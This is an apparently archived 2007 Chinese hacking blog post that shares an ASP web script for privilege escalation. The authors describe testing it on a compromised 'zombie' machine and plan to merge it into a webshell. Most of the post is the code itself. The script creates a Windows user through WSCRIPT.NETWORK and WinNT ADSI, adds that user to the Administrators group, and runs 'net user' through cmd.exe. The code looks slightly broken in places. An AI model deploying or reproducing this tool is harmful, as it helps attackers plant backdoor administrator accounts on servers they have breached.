添加超級用戶的.asp代碼[藍屏的原創(chuàng),凱文改進,Ms未公布的漏洞]

更新時間：2007年03月28日 00:00:00 作者：

添加超級用戶的.asp代碼[藍屏的原創(chuàng),凱文改進,Ms未公布的漏洞]
作者：藍屏,凱文文章來源：冰點極限
其實上個禮拜我和凱文就在我的肉雞上測試了,還有河馬史詩.結(jié)果是在user權(quán)限下成功添加Administrators組的用戶了(雖然我不敢相信我的眼睛).
上次凱文不發(fā)話,我不敢發(fā)布啊....現(xiàn)在在他的blog 上看到他發(fā)布了,就轉(zhuǎn)來了咯(比我上次測試時還改進了一點,加了個表單).這下大家有福咯```

反正代碼是對的，但是很少能成功，具體的看運氣了。。呵呵，下一步我想把他整合到海洋里面去。嘿嘿。

復制代碼代碼如下:

<head>.network對象腳本權(quán)限提升漏洞利用工具</head>  
<form action="useradd.asp" method=post>  
用戶:<input name="username" type="text" value="kevin1986"><br>  
密碼:<input name="passwd" type="password"><br>  
<input type="submit" Value="添 加">  
</form>  

<%@codepage=936  
on error resume next  
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then  
response.write "iP !s n0T RiGHt"  
else  
if request("username")<>"" then  
username=request("username")  
passwd=request("passwd")  
Response.Expires=0  
Session.TimeOut=50  
Server.ScriptTimeout=3000  
set lp=Server.createObject("WSCRIPT.NETWORK")  
oz="WinNT://"&lp.ComputerName  
Set ob=GetObject(oz)  
Set oe=GetObject(oz&"/Administrators,group")  
Set od=ob.create("user",username)  
od.SetPassword passwd  
od.SetInfo  
oe.Add oz&"/"&username  
if err then  
response.write "哎~~今天你還是別買6+1了……省下2元錢買瓶可樂也好……"  
else  
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登錄")>0 then  
response.write "雖然沒有錯誤,但是好象也沒建立成功.你一定很郁悶吧"  
else  
Response.write "OMG!"&username&"帳號居然成了!這可是未知漏洞啊.5,000,000RMB是你的了"  
end if  
end if  
else  
response.write "請輸入輸入用戶名"  
end if  
end if  
%> 